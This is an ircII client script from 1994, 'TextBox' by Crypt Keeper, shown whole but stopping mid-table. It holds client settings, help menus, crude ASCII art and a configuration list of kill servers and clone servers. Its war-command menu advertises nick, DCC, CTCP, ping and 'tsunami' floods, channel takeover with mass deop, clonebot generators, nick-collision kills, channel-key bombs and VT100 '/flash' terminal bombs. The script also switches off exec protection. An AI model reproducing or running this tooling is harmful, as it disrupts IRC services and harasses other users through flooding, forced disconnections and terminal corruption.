# # TEXTBOX.IRC - by Crypt Keeper / -+ TEXT -+ # Version 6.21 November 1994 # # NOTE: This script will not work, and will probably segmentation fault the # client if run in dumb terminal mode. # # The script was tested by the author using the ircII2.2.9 package. # # You must edit this file in a UNIX text editor with no wordwrap enabled. # DOS text editors will corrupt it. # ^set novice off ^set exec_protection off ^assign TBVERS 6.21 EVAL ^set input_prompt [ ] TextBox version $TBVERS loading... # Change these if you like (comment out for no response). assign PINGMSG Go ping someone who cares. assign FINGERMSG Keep your fingers to yourself. Pervert. EVAL assign VERSIONMSG [TextBox] version $TBVERS by Crypt Keeper / -+ TEXT -+ # Change these if /rm, /ps, /mail, or /uumail won't work. # These should all work on standard BSD compatable UNIX systems, and most # others as well. assign RMCOMMAND rm -f # If that doesn't work, try 'rm' or '/bin/rm -f' assign PSCOMMAND ps -x # If that doesn't work, try 'ps -e' or on System V, 'ps -u' assign MAILCOMMAND mail # If that doesn't work, try '/usr/ucb/mail' or '/usr/bin/mail' assign FLASHCOMMAND flash # If you're flash command is something else, change it assign FINGERCOMMAND finger # This will 99 times out of 100 be just 'finger' # This server is used for hostname information lookups. This setting should # always work. assign WHOIS_SERV rs.internic.net # Default filename for saved lists assign DEFAULTSAVE textbox.sav # Try changing this if /collide doesn't work well. Change it to a far away, # lagged server that will allow connections from your host. You can # experiment with this while running the script with /killhost . assign DEFAULTKILLHOST gwaihir.dd.chalmers.se assign DEFAULTKILLPORT 6667 # If that killhost doesn't work well, try some of these.. # ircserver.cltr.uq.oz.au # cuisund.unige.ch # irc.math.ufl.edu # irc.cs.hut.fi # cuisund.unige.ch # irc.funet.fi # Servers for use as 'random' servers in the '/clonebots clone' command. # These should all allow connections from your host. # # These can be edited online with /cloneserv and saved with /saveconf assign CSERV[1] irc.math.ufl.edu assign CSERV[2] irc.uiuc.edu assign CSERV[3] copper.ucs.indiana.edu assign CSERV[4] irc.mit.edu assign CSERV[5] irc.indiana.edu assign CSERV[6] cs-pub.bu.edu assign CSERV[7] alfred1.u.washington.edu assign CSERV[8] organ.ctr.columbia.edu assign CSERV[9] irc.funet.fi assign CSERV[10] irc-2.mit.edu # --------------------------------------------------------------------------- set tab on set tab_max 6 set send_ignore_msg off set clock_24hour off set user_information [TextBox] set flood_warning off set beep_max 3 set warn_of_ignores on set verbose_ctcp off set indent on set auto_whowas off set continued_line set hide_private_channels off set show_away_once on set history 35 set auto_unmark_away off set beep_on_msgs off set show_channel_names on set max_recursions 210 EVAL set status_format %T %*%@%N%#%S%H%B%A%C%+%I%O%F %W%>%U%M%X%Y%Z ^set input_protection off set dcc_block_size 1024 # For newer clients that disable mail checking as a default EVAL ^if ([$MAIL] == [0]) {^set mail 1} bind ^\ switch_channels bind ^Q quote_character bind ^I parse_command ^tk.getmsg 1 $tk.msglist bind ^R parse_command ^tk.getmsg -1 $tk.msglist bind ^X^X parse_command tk.delnick bind ^S toggle_stop_screen bind meta1-[ meta2 bind meta1-O meta2 bind meta2-A backward_history bind meta2-B forward_history bind meta2-C forward_character bind meta2-D backward_character bind ^B self_insert bind ^_ self_insert bind ^V self_insert bind ^A self_insert bind ^W next_window bind ^Z stop_irc alias mhist {^tk.addmsg $0 $tk.msglist} alias tk.addmsg { @ tk.matched = rmatch($0 $^\1-) if (tk.matched) { @ tk.msglist = [$(0-${tk.matched-1}) $(${tk.matched+1}-)] } { @ tk.msglist = [$(0-${tk.msgmax-1})] } @ tk.msgcnt = 0 ^assign -tk.matched } alias tk.getmsg { @ tk.msgcnt = tk.msgcnt + [$0] if ( #tk.msglist < tk.msgcnt ) {@ tk.msgcnt = 1} if (tk.msgcnt <= 0) {@ tk.msgcnt = #tk.msglist} @ tk.junk = K ## [msg] type ^U$tk.junk $^^{[$($tk.msgcnt)]} } alias tk.delnick { if (tk.msgcnt == 0) { echo *** Nickname: $word(0 $tk.msglist) removed. @ tk.msglist = [$notword(1 $tk.msglist)] } { echo *** Nickname: $word(${tk.msgcnt-1} $tk.msglist) removed. @ tk.msglist = [$notword($tk.msgcnt $tk.msglist)] } type ^U } alias notword { if ([$0]>0) { if (([$0]>1)&&([$0] < rmatch($~ $1-))) { @ nw.sep = [ ] } { @ nw.sep = [] } @ function_return = [$(1-${[$0]-1})] ## [$nw.sep] ## [$(${[$0]+1}-)] } { @ function_return = [$1-] } } alias minnot { @ noticecnt = 0 ^assign -lastnoter ^assign -ntemp } EVAL ^set input_prompt [- ] TextBox version $TBVERS loading... alias sendmsg { if (rmatch($0 #*)) { if ([$0] == [$C]) { quote PRIVMSG $C :$1- echo <${N}> $1- } { quote PRIVMSG $0 :$1- echo -> $0 <${N}> $1- } } { quote PRIVMSG $0 :$1- echo -> *$0* $1- } } alias nnotice { quote NOTICE $0 :$1- echo -> -$0- $1- } # An ischanop() implementation that actually works. alias ischanop.tb { if (([$1] == [$C])&&([$0] == [$N])) { if ([$P] == [@]) {@ FUNCTION_RETURN = 1} {@ FUNCTION_RETURN = 0} } {/EVAL @ FUNCTION_RETURN = $ischanop($0 $1)} } alias repeatcmd { @ RCOUNT = 0 while (RCOUNT < [$0]) { @ RCOUNT = RCOUNT + 1 /$1- } ^assign -RCOUNT } alias onoff { if ([$0] == [ON]) {^assign FUNCTION_RETURN ON} {^assign FUNCTION_RETURN OFF} } alias saychan { quote PRIVMSG $C :$0- echo <${N}> $0- } alias nickonly {^assign FUNCTION_RETURN $left($index(! $0) $0)} alias safestr {^assign FUNCTION_RETURN $strip(\;\$ $0-)} alias pause { if ([$PAUSES] == [ON]) { ^assign JUNK1 $"-ENTER-" ^assign -JUNK1 } } assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP } on ^exec "pubcat *" { saychan $1- sleep 1 } # --------------------------------------------------------------------------- assign SERVOPPRO OFF assign AUTOJOINONKICK ON assign AUTOJOINONINVITE OFF assign NOSHOWFLOOD ON assign LOCKMODE OFF assign LOCKEDMODE +ns-liptm assign AUTOUNBAN ON assign MASSPRO ON assign KILLER OFF assign IMAWAY NO assign KEYPRO ON assign AUTOINV OFF assign LAMENESS OFF assign NOTI PRIVATE assign KILLJOIN ON assign AUTODECODE ON assign MASSRESPONSE DEOP assign NFPROT ON assign NSPLIT ON assign NOTICES ON assign MSGBEEP ON assign RESPOND OFF assign KILLNOTICE NORM assign ARTKICK OFF assign NORMALPING OFF assign PAUSES ON assign TAKEOVER * assign CTCPNOISE ON assign TBSTAT [TextBox] assign INVITEPW null assign LASTMSG null assign LASTJOINNICK null assign LASTJOINCHAN null assign LASTFLOODNICK null assign LASTTEXTNICK null assign AKICK null assign CHANKEY null assign TALKNICK NONE assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ @ SERVCOUNT = 1 @ NUMMSGS = 0 on ^dcc_raw * {} # --------------------------------------------------------------------------- alias statup { if ([$QWER] != [QWER]) { if ([$SERVOPPRO] == [ON]) {^assign STATUSLINE ${STATUSLINE}S} {^assign STATUSLINE ${STATUSLINE}s} if ([$LOG] == [OFF]) {^assign STATUSLINE ${STATUSLINE}O} {^assign STATUSLINE ${STATUSLINE}o} if ([$NOSHOWFLOOD] == [ON]) {^assign STATUSLINE ${STATUSLINE}F} {^assign STATUSLINE ${STATUSLINE}f} if ([$NFPROT] == [ON]) {^assign STATUSLINE ${STATUSLINE}N} {^assign STATUSLINE ${STATUSLINE}n} if ([$LOCKMODE] == [ON]) {^assign STATUSLINE ${STATUSLINE}L} {^assign STATUSLINE ${STATUSLINE}l} if ([$AUTOUNBAN] == [ON]) {^assign STATUSLINE ${STATUSLINE}B} {^assign STATUSLINE ${STATUSLINE}b} if ([$MASSPRO] == [ON]) {^assign STATUSLINE ${STATUSLINE}M} {^assign STATUSLINE ${STATUSLINE}m} if ([$KILLER] == [ON]) {^assign STATUSLINE ${STATUSLINE}C} {^assign STATUSLINE ${STATUSLINE}c} if ([$IMAWAY] == [YES]) {^assign STATUSLINE ${STATUSLINE}A} {^assign STATUSLINE ${STATUSLINE}a} if ([$KEYPRO] == [ON]) {^assign STATUSLINE ${STATUSLINE}Y} {^assign STATUSLINE ${STATUSLINE}y} if ([$RESPOND] == [ON]) {^assign STATUSLINE ${STATUSLINE}R} {^assign STATUSLINE ${STATUSLINE}r} EVAL ^set status_user [$STATUSLINE] $TBSTAT ^assign -STATUSLINE } } alias statline { statup echo -- -------------------------------------------------------------------- -- echo -- TextBox status line -- echo -- -------------------------------------------------------------------- -- echo -- Capital letters indicate on, lower case indicates off. -- echo -- S = Server ops protection (/servop) -- echo -- O = IRC logging (/log) -- echo -- F = Flood protection (/floodpro) -- echo -- N = Nick flood protection (/nfprot) -- echo -- L = Mode locking (/lockmode) -- echo -- B = Automatic deop/unban if you are banned (/autounban) -- echo -- M = Automatic deop when mass deop/kick detected (/masspro) -- echo -- C = Nick collision killer (/collide) -- echo -- A = Away state (/setaway and /unaway) -- echo -- Y = Escape code channel key protection (/keypro) -- echo -- R = Respond to CTCP PING, VERSION, etc. (/ctrespond) -- echo -- -------------------------------------------------------------------- -- } alias cmd { echo -- -------------------------------------------------------------------- -- echo -- TextBox Commands -- echo -- -------------------------------------------------------------------- -- echo -- General Commands: -- echo -- /names [] - Quick user list -- echo -- /chops [] - List channel ops -- echo -- /whois -or- /whois - Get info about or look -- echo -- - up whois info for -- echo -- /topic [] - Change topic -- echo -- /nick [] - Change to / random -- echo -- /country - Domain ID -- echo -- /whereis - Domain ID 's domain -- echo -- - /msg history -- echo -- /n? = (range: 1-30) - Set nick alias #? -- echo -- /n? - (range: 1-30) - Clear nick alias #? -- echo -- /n? (range: 1-30) - /msg nick #? -- echo -- /talkto - Talk with -- echo -- /endtalk - End current /talkto -- echo -- /last [] - Echo last msg to nick/channel -- echo -- /umode - Change user modes -- echo -- /invitepw - Set auto-invite password -- echo -- /jokemassdeop - Joke massdeop -- pause echo -- /jokemode - Joke mode change -- echo -- /aop - Auto op (wildcards ok) -- echo -- /abkick - Auto bkick (wildcards ok) -- echo -- /listaop - List auto ops -- echo -- /listabkick - List auto bkicks -- echo -- /noaop - Remove auto op -- echo -- /noabkick - Remove auto bkick -- echo -- /clearaop - Clear auto ops -- echo -- /clearabkick - Clear auto bkicks -- echo -- /friend - Add to auto op list -- echo -- /nofriend - Remove from auto op list -- echo -- /enemy - Add to auto bkick list -- echo -- /noenemy - Remove from auto bkick list -- echo -- /saveconf - Save settings to file -- echo -- /unflash - Fix screen after VT100 bombs -- echo -- /ig - Ignore -- echo -- /igf - Ignore last nick that flooded -- echo -- /setaway - Set away status -- echo -- /unaway - Remove away status -- echo -- /playback - Playback saved msgs -- echo -- /repeatcmd - Repeat a command -- echo -- /cat - Type a file -- pause echo -- /pubcat - Type a file into channel -- echo -- /rm - Erase a file -- echo -- /ps - List processes -- echo -- /kps - Kill process -- echo -- /ls - List directory -- echo -- /finger - Finger -- echo -- /mail - Mail to -- echo -- /uumail - UUEncode and mail -- echo -- /massdcc - DCC SEND to everyone -- echo -- /net [] - Create server window -- echo -- /whosplit - Show who left in a split -- echo -- /servnote - Help on setting server notes -- echo -- /statline - Help on status line -- echo -- /status - Show current settings -- echo -- /graphics - List graphics commands -- echo -- /togglecmd - List toggles -- echo -- /abbrev - List command abbreviations -- echo -- /guardbot - Help on guardbot commands -- echo -- /warcmd - Flood/war commands -- echo -- /xdcc help - XDCC command help -- echo -- -------------------------------------------------------------------- -- echo -- Channel Operator Commands: -- pause echo -- /op, /deop ... - Op/deop -- echo -- /megaop - When you really mean it -- echo -- /kick [] [] - Kick -- echo -- /bkick [] - Ban, kick -- echo -- /autokick - Set an autokick phrase -- echo -- /ban [] - Ban / list bans -- echo -- /megaban [] - Ban with filters -- echo -- /userban [] - Ban username (*!*user@*) -- echo -- /hostban [] - Ban hostname (*!*@host) -- echo -- /unban - Unban -- echo -- /clearban - Clear all bans -- echo -- /botban - Ban bots -- echo -- /cloneban - Ban numbered clonebots -- echo -- /lameban - Ban bomb-usernames -- echo -- /mode [] - Mode change -- echo -- /clearmode - Clear channel modes -- echo -- /nokey - Clear channel key -- echo -- /lockmode - Lock channel modes -- echo -- /massop - Op everyone -- echo -- /massdeop - Deop everyone -- echo -- /megamassdeop - Massdeop 4 at a time -- echo -- /1massdeop - Massdeop 1 at a time -- pause echo -- /massvop - +v everyone -- echo -- /massdevop - -v everyone -- echo -- /masskick [] - Kick everyone -- echo -- /massban - Ban everyone -- echo -- /mkick - Kick everyone matching -- echo -- /mbkick - MKick with bans -- echo -- /botkick - Kicks everyone with same -- echo -- - user@host as -- echo -- /kickhost - Kicks all from -- echo -- /rkick - Random kick -- echo -- /lkick - Kick all un-opped people -- echo -- /lnick [] - Lame nick kick -- echo -- /leavejoin - Leave and rejoin -- echo -- -------------------------------------------------------------------- -- echo -- Things enclosed in []'s can be left out. Use /warcmd, /graphics, -- echo -- and /togglecmd for other commands. ... means 'and so on' -- echo -- -------------------------------------------------------------------- -- } EVAL ^set input_prompt [= ] TextBox version $TBVERS loading... alias abbrev { echo -- -------------------------------------------------------------------- -- echo -- TextBox abbreviated commands -- echo -- -------------------------------------------------------------------- -- echo -- /w [] - List users on channel -- echo -- /t [] [] - Set/show channel topic -- echo -- /wi [] [] ... - Quick whois on nicks -- echo -- /ww [] [] ... - Whowas on nicks -- echo -- /j [] [] [] .. - Join channel(s) -- echo -- /l [] [] ... - Leave channel(s) -- echo -- /c [] - Mode change -- echo -- /k [] [] ... - Quick kick 's -- echo -- /bk [] [] ... - Quick bkick 's -- echo -- /m - /msg -- echo -- /ck - Kill all clonebots -- echo -- /gk - Kill Guardbot -- echo -- /lj - Leave and rejoin -- echo -- -------------------------------------------------------------------- -- } alias lj {/leavejoin $0-} alias c {/mode $0-} alias ck {/clonebots kill all} alias gk {/guardbot kill} alias whosplit { if ([$NSPLIT] == [ON]) {/wholeft} {/netsplit} } alias graphics { echo -- -------------------------------------------------------------------- -- echo -- TextBox banners, graphics, and annoying ASCII art -- echo -- -------------------------------------------------------------------- -- echo -- /docow - The cow -- echo -- /docow2 - Humping cows -- echo -- /beefcow - BEEF cow -- echo -- /flickoff - The birdie -- echo -- /fuckyou - Another birdie -- echo -- /birdie - Yet another birdie -- echo -- /phear - Phear the K0W!! -- echo -- /borg - K0W of B0RG -- echo -- /ops - Big <- OPS sign -- echo -- /sopbeg - Subliminal ops beg -- echo -- /nark - Big <- NARK sign -- echo -- /deadcat - Dewmed cat -- echo -- /deadcat2 - Another dead cat -- echo -- /elite - Big 'ELITE' sign -- echo -- /w00p - 'w00p' sign -- echo -- /bong - Roast a b0wl! -- echo -- /kradwrite - / - / - Public -+TEXT+- msg -- echo -- /ptxt - Private -+TEXT+- msg -- echo -- /bigwrite - Bigwrite help -- echo -- -------------------------------------------------------------------- -- } alias sopbeg { if ([$0]) {/sendmsg $0 [SuBLiMiNaL oPS BeG] I d+on't want y+ou t+o +op me.} {/sendmsg $C [SuBLiMiNaL oPS BeG] I d+on't want y+ou t+o +op me.} } alias beefcow { sendmsg $0 (__) BBBBBB--EEEEEEE-EEEEEEE-FFFFFFF sendmsg $0 /oo\\_BB---BB-EE------EE------FF-----\\;/sendmsg $0 \\ /~BBBBBB--EEEEEE--EEEEEE--FFFFF-- | sendmsg $0 oo BB---BB-EE------EE------FF----- | sendmsg $0 BBBBBB--EEEEEEE-EEEEEEE-FF----- ^ sendmsg $0 | | | | sendmsg $0 ^ ^ ^ ^ } alias bong { sendmsg $0 _____ sendmsg $0 | A | RoaST a BoWL! sendmsg $0 | N | sendmsg $0 | A | sendmsg $0 | U | \) \);/sendmsg $0 | J | \(;/sendmsg $0 | I | \( \);/sendmsg $0 | R | \);/sendmsg $0 | A | \);/sendmsg $0 | M | sendmsg $0 | o | U sendmsg $0 | |// sendmsg $0 | |/ sendmsg $0 | | sendmsg $0 /|___|\\;/sendmsg $0 \\_____/ } EVAL ^set input_prompt [=- ] TextBox version $TBVERS loading... alias docow2 { sendmsg $0 (___) sendmsg $0 (o o) <===== $1 sendmsg $0 /------\\ / (__) sendmsg $0 / ____O (oo) <===== $2 sendmsg $0 | / /----\\----\\/ sendmsg $0 /\\oo===| / || sendmsg $0 | || *||^-----|| sendmsg $0 * ^^ ^^ ^^ } alias nark { sendmsg $0 << | | /~~~~~~\\ |~~~~~~~~~| | / sendmsg $0 << |\\ | | | | | | / sendmsg $0 << | \\ | | | | | | / sendmsg $0 <<-------------- | \\ | | | |\\~~~~~~~~~ |< sendmsg $0 << | \\ | |------| | \\ | \\;/sendmsg $0 << | \\ | | | | \\ | \\;/sendmsg $0 << | \\| | | | \\_____ | \\_ } alias docow { sendmsg $0 (__) <== $1 sendmsg $0 /oo\\________ sendmsg $0 \\ / \\;/sendmsg $0 \\/ / \\;/sendmsg $0 \\_|___\\_|/.\\;/sendmsg $0 || YY| o ' sendmsg $0 || || O <== $2 sendmsg $0 ^^ ^^ } alias birdie { sendmsg $0 n / sendmsg $0 H o o sendmsg $0 nnHnn [ SiT ON THiS AND ROTATE! sendmsg $0 VVVVV ___/ } alias sitonthis {/birdie $0-} alias fuckyou { sendmsg $0 _____ sendmsg $0 |_ _| sendmsg $0 n (O O) n sendmsg $0 H _|\\_/|_ H sendmsg $0 nHnn/ \\___/ \\nnHn sendmsg $0 sendmsg $0 \\__\\/| |\\/__/ } alias phear {/docow $0 K0W!!@@!@#! PHEAR!!@!!@@!!!!} alias borg { sendmsg $0 -We aRe K0W oF BoRG sendmsg $0 (__) sendmsg $0 /oo\\################ sendmsg $0 \\ /################\\;/sendmsg $0 \\/ ################ | sendmsg $0 ################ | sendmsg $0 ################ | sendmsg $0 ################ sendmsg $0 | | | | sendmsg $0 ^ ^ ^ ^ } alias ops { sendmsg $0 -------------- SLaP Me SuMMa DaT PLuS oH! ------------------- sendmsg $0 <<<< +o+o+o+o+o+ o+o+o+o+o+o+ o+o+o+o+o+o sendmsg $0 <<<< o+o o+o +o+ o+o +o+ sendmsg $0 <<<< +o+ +o+ o+o +o+ o+o sendmsg $0 <<<<================= o+o o+o +o+ o+o +o+o+o+o+o+ sendmsg $0 <<<<================= +o+ +o+ o+o+o+o+o+o+ o+o+o+o+o+o sendmsg $0 <<<< o+o o+o +o+ +o+ sendmsg $0 <<<< +o+ +o+ o+o o+o sendmsg $0 <<<< o+o+o+o+o+o +o+ +o+o+o+o+o+ sendmsg $0 -------------- SLaP Me SuMMa DaT PLuS oH! ------------------- } alias deadcat { sendmsg $0 /\\;/sendmsg $0 / \\_______/\\/\\;/sendmsg $0 / \\;/sendmsg $0 |_ -X XX _ / sendmsg $0 \\ ~-_ oo _-~ | sendmsg $0 -\\--- ____ -----/ sendmsg $0 \\-~ \\_\\ ~-_/ sendmsg $0 -~ ~~\\ / ~ sendmsg $0 !WOEM } alias deadcat2 { sendmsg $0 _ __/| sendmsg $0 \\'X.X' sendmsg $0 =(___)= sendmsg $0 U sendmsg $0 MEOW!!! } alias elite {/bigwrite $0 e l i t e} alias flickoff { sendmsg $0 /~\\ /~\\;/sendmsg $0 | | | | sendmsg $0 | | | | sendmsg $0 /~\\| |/~\\/~\\ O /~\\/~\\| |/~\\;/sendmsg $0 /~\\| || || || | | | || || || |/~\\;/sendmsg $0 | || || || || | /|\\ | || || || || | sendmsg $0 \\ \\\\ / / | \\ \\ // / sendmsg $0 \\_\\ / / / \\ \\ \\ /_/ sendmsg $0 ~\\ / // \\\\ \\ /~ sendmsg $0 | | // \\\\ | | sendmsg $0 \\ \\__// \\\\__/ / sendmsg $0 ~~~~~ ~~~~~ } alias w00p { sendmsg $0 ____ ____ sendmsg $0 _ __/ __ \\/ __ \\____ sendmsg $0 | | /| / / / / / / / / __ \\;/sendmsg $0 | |/ |/ / /_/ / /_/ / /_/ / sendmsg $0 |__/|__/\\____/\\____/ .___/ sendmsg $0 /_/ } alias togglecmd { echo -- -------------------------------------------------------------------- -- echo -- TextBox toggle commands -- echo -- -------------------------------------------------------------------- -- echo -- /servop - Automatic deop on server ops -- echo -- /ajoinkick - Automatic rejoin on kick -- echo -- /ajoininvite - Automatic join on invite -- echo -- /floodpro - Filter out possible flood msgs -- echo -- /nfprot - Kick on nick flood -- echo -- /masspro - Mass deop/kick protection -- echo -- /massdef - Toggle deop/kick for mass protect -- echo -- /autounban - Ban defense -- echo -- /keypro - Channel key bomb protection -- echo -- /lameness - Automatic lameness -- echo -- /pubnot - Public/private protection notices -- echo -- /log - Toggle logging of IRC session -- echo -- /logfile - Set IRC logfile, default is irc.log -- echo -- /autodecode - Toggle -+TEXT+- encryption decoding -- echo -- /netsplit - Auto netsplit detection/tracking -- echo -- /allprot - Toggle all protections on/off -- echo -- /msgbeep - Toggle beep on private messages -- echo -- /notices - Toggle sending of protect notices -- echo -- /ctrespond - Response to PING, VERSION, etc. -- echo -- /killnotice - FULL or NORM kill notices -- pause echo -- /artkick - ASCII art kicker -- echo -- /normalping - Standard delay-time ping responses -- echo -- /pauses - Toggle pauses in help output -- echo -- /ctcpnoise - Show CTCP PING's, VERSION's, etc. -- echo -- -------------------------------------------------------------------- -- echo -- /status shows commands and current settings -- echo -- -------------------------------------------------------------------- -- } alias yesno { if ([$0] == [ON]) {^assign RETURNSTR  ON} {^assign RETURNSTR OFF} ^assign FUNCTION_RETURN $RETURNSTR ^assign -RETURNSTR } alias status { echo -- -------------------------------------------------------------------- -- echo -- TextBox Status (most important settings only) -- echo -- -------------------------------------------------------------------- -- echo -- Server ops protection (/servop) : $YESNO($SERVOPPRO) -- echo -- Automatic rejoin on kick (/ajoinkick) : $YESNO($AUTOJOINONKICK) -- echo -- Automatic join on invite (/ajoininvite) : $YESNO($AUTOJOINONINVITE) -- echo -- Message flood protection (/floodpro) : $YESNO($NOSHOWFLOOD) -- echo -- Nick flood protection (/nfprot) : $YESNO($NFPROT) -- echo -- Mass deop/kick protection (/masspro) : $YESNO($MASSPRO) -- echo -- Mass deop/kick defense mode (/massdef) : $MASSRESPONSE  -- echo -- Ban defense (/autounban) : $YESNO($AUTOUNBAN) -- echo -- Channel key bomb protection (/keypro) : $YESNO($KEYPRO) -- echo -- IRC session logging (/log) : $YESNO($LOG) -- echo -- Automatic encryption decoding (/autodecode) : $YESNO($AUTODECODE) -- echo -- Netsplit detection (/netsplit) : $YESNO($NSPLIT) -- echo -- Protection notices (/notices) : $YESNO($NOTICES) -- echo -- CTCP PING, VERSION, etc. responses (/ctrespond) : $YESNO($RESPOND) -- echo -- ASCII art kicker (/artkick) : $YESNO($ARTKICK) -- echo -- Standard delay-time ping responses (/normalping) : $YESNO($NORMALPING) -- echo -- Pauses in help output (/pauses) : $YESNO($PAUSES) -- echo -- Display CTCP notices (/ctcpnoise) : $YESNO($CTCPNOISE) -- echo -- -------------------------------------------------------------------- -- echo -- /XDCC STATUS for DCC related settings -- echo -- -------------------------------------------------------------------- -- } EVAL ^set input_prompt [== ] TextBox version $TBVERS loading... alias allprot { if (match($0 ON OFF)) { ^assign QWER QWER masspro $0 servop $0 nfprot $0 if ([$0] == [ON]) {/ctrespond OFF} {/ctrespond ON} ^assign -QWER statup echo *** All protections are now $onoff($0)  } { ^assign QWER QWER masspro servop nfprot ctrespond ^assign -QWER } } alias massdef { if (match($0 DEOP KICK)) { if ([$0] == [DEOP]) {^assign MASSRESPONSE DEOP} if ([$0] == [KICK]) {^assign MASSRESPONSE KICK} } echo *** Defense for mass deop/kick is now $MASSRESPONSE  statup } alias killnotice { if (match($0 FULL NORM)) { if ([$0] == [FULL]) {^assign KILLNOTICE FULL} if ([$0] == [NORM]) {^assign KILLNOTICE NORM} } echo *** Kill notice setting is now $KILLNOTICE  statup } alias ctrespond { if (match($0 ON OFF)) {^assign RESPOND $onoff($0)} echo *** Response to CTCP PING, VERSION, etc. is now $RESPOND  statup } alias ctcpnoise { if (match($0 ON OFF)) {^assign CTCPNOISE $onoff($0)} echo *** CTCP notice displays are now $CTCPNOISE  statup } alias normalping { if (match($0 ON OFF)) {^assign NORMALPING $onoff($0)} echo *** Standard delay-time ping responses $NORMALPING  statup } alias pauses { if (match($0 ON OFF)) {^assign PAUSES $onoff($0)} echo *** Pauses in help output $PAUSES  statup } alias artkick { if (match($0 ON OFF)) {^assign ARTKICK $onoff($0)} echo *** ASCII art kicker is now $ARTKICK  statup } alias notices { if (match($0 ON OFF)) {^assign NOTICES $onoff($0)} echo *** Sending of notices is now $NOTICES  statup } alias msgbeep { if (match($0 ON OFF)) {^assign MSGBEEP $onoff($0)} echo *** Beep on private messages is now $MSGBEEP  statup } alias autodecode { if (match($0 ON OFF)) {^assign AUTODECODE $onoff($0)} echo *** Automatic -+TEXT+- encryption decoding is now $AUTODECODE  statup } alias nfprot { if (match($0 ON OFF)) {^assign NFPROT $onoff($0)} echo *** Automatic kick on nick flood is now $NFPROT  statup } alias netsplit { if (match($0 ON OFF)) {^assign NSPLIT $onoff($0)} echo *** Automatic netsplit detection/tracking is now $NSPLIT  statup } alias log { if (match($0 ON OFF)) {^set log $0} echo *** Logging to $LOGFILE is now OFF  statup } alias logfile { if ([$0]) {^set logfile $0} echo *** IRC log file is now Irc.Log  statup } alias pubnot { if (match($0 PUBLIC PRIVATE)) { if ([$0] == [PUBLIC]) {^assign NOTI PUBLIC} if ([$0] == [PRIVATE]) {^assign NOTI PRIVATE} } echo *** Protection notices are now $NOTI  statup } alias lameness { if (match($0 ON OFF)) {^assign LAMENESS $onoff($0)} echo *** Automatic lameness is now $LAMENESS  statup } alias sctcp { if (match($0 ON OFF)) {^assign SHOWCTCPFLOODS $onoff($0)} echo *** CTCP flood notice display is now $SHOWCTCPFLOODS  statup } alias keypro { if (match($0 ON OFF)) {^assign KEYPRO $onoff($0)} echo *** Channel key escape code protection is now $KEYPRO  statup } alias masspro { if (match($0 ON OFF)) {^assign MASSPRO $onoff($0)} echo *** Mass deop/kick protection is now $MASSPRO  statup } alias servop { if (match($0 ON OFF)) {^assign SERVOPPRO $onoff($0)} echo *** Server ops protection is $SERVOPPRO  statup } alias ajoinkick { if (match($0 ON OFF)) {^assign AUTOJOINONKICK $onoff($0)} echo *** Automatic rejoin on kick is $AUTOJOINONKICK  statup } alias ajoininvite { if (match($0 ON OFF)) {^assign AUTOJOINONINVITE $onoff($0)} echo *** Automatic join on invite is $AUTOJOINONINVITE  statup } alias floodpro { if (match($0 ON OFF)) {^assign NOSHOWFLOOD $onoff($0)} echo *** Flood protection is $NOSHOWFLOOD  statup } alias autounban { if (match($0 ON OFF)) {^assign AUTOUNBAN $onoff($0)} echo *** Automatic ban defense is $AUTOUNBAN  statup } alias warcmd { echo -- -------------------------------------------------------------------- -- echo -- TextBox floods and war commands -- echo -- -------------------------------------------------------------------- -- echo -- /nickflood - Nick flood times -- echo -- /ajbomb [] - Auto-join bomb (invite/keybomb) -- echo -- /dccflood - DCC CHAT request flood -- echo -- /dccbomb - DCC Autoget bomb -- echo -- /ctcpflood - CTCP CLIENTINFO flood -- echo -- /pingflood - Ping flood -- echo -- /sedflood - CTCP SED flood -- echo -- /infinibomb - iNFiNiTY (script) BoMB -- echo -- /toolzbomb - ToolZ (script) BomB -- echo -- /tsunami - Tsunami -- echo -- /saytsu - Tsunami current channel -- echo -- /collide - Nick collider on/off -- echo -- /collide join - Toggle kill attempt on join -- echo -- /killhost - Set new nick collide server -- echo -- /keybomb list - List +k bombs -- echo -- /flash - Execute flash on -- echo -- /massflash - Flash everyone in channel -- echo -- /massinv - Mass invites to current channel -- echo -- - is as if it were /who -- pause echo -- /dcctsunami - Send DCC TSUNAMI to -- echo -- /wallops - Send to all +s people -- echo -- - on , no spaces in -- echo -- /smsg - Send to all +s people -- echo -- - on your server, no spaces in -- echo -- /clonebots - Clonebot maker help -- echo -- /clone - Clonebot controller help -- echo -- /clonespy - Clonebot spy system help -- echo -- /opclones - Op all of your clonebots on channel -- echo -- /cloneserv - Clonebot server list editor help -- echo -- /cbots - Collidebots help -- echo -- /pongflood - PONG tsunami -- echo -- /fakeinvite - Bogus invite message -- echo -- /flood [] [] - Flood -- echo -- - with 3 clones. Clones die when -- echo -- - finished. The flood is junkflood. -- echo -- /takeover - Turn takeover mode on for -- echo -- - You will massdeop the channel if -- echo -- - you get ops on it. -- echo -- -------------------------------------------------------------------- -- echo -- You must have flash.c compiled to use /flash or /massflash -- echo -- -------------------------------------------------------------------- -- } EVAL ^set input_prompt [==- ] TextBox version $TBVERS loading... # --------------------------------------------------------------------------- @ sane.set = [abcdefghijklmnopqrstuvwxyz] assign leet.set.0.0 a assign leet.set.0.1 A assign leet.set.0.2 @ assign leet.set.0.3 a assign leet.set.1.0 b assign leet.set.1.1 B assign leet.set.1.2 |3 assign leet.set.1.3 b assign leet.set.2.0 c assign leet.set.2.1 C assign leet.set.2.2 ( assign leet.set.2.3 [ assign leet.set.3.0 d assign leet.set.3.1 D assign leet.set.3.2 c| assign leet.set.3.3 |) assign leet.set.4.0 e assign leet.set.4.1 E assign leet.set.4.2 3 assign leet.set.4.3 [- assign leet.set.5.0 f assign leet.set.5.1 F assign leet.set.5.2 /= assign leet.set.5.3 ph assign leet.set.6.0 g assign leet.set.6.1 G assign leet.set.6.2 9 assign leet.set.6.3 g assign leet.set.7.0 h assign leet.set.7.1 H assign leet.set.7.2 /-/ assign leet.set.7.3 |-| assign leet.set.8.0 i assign 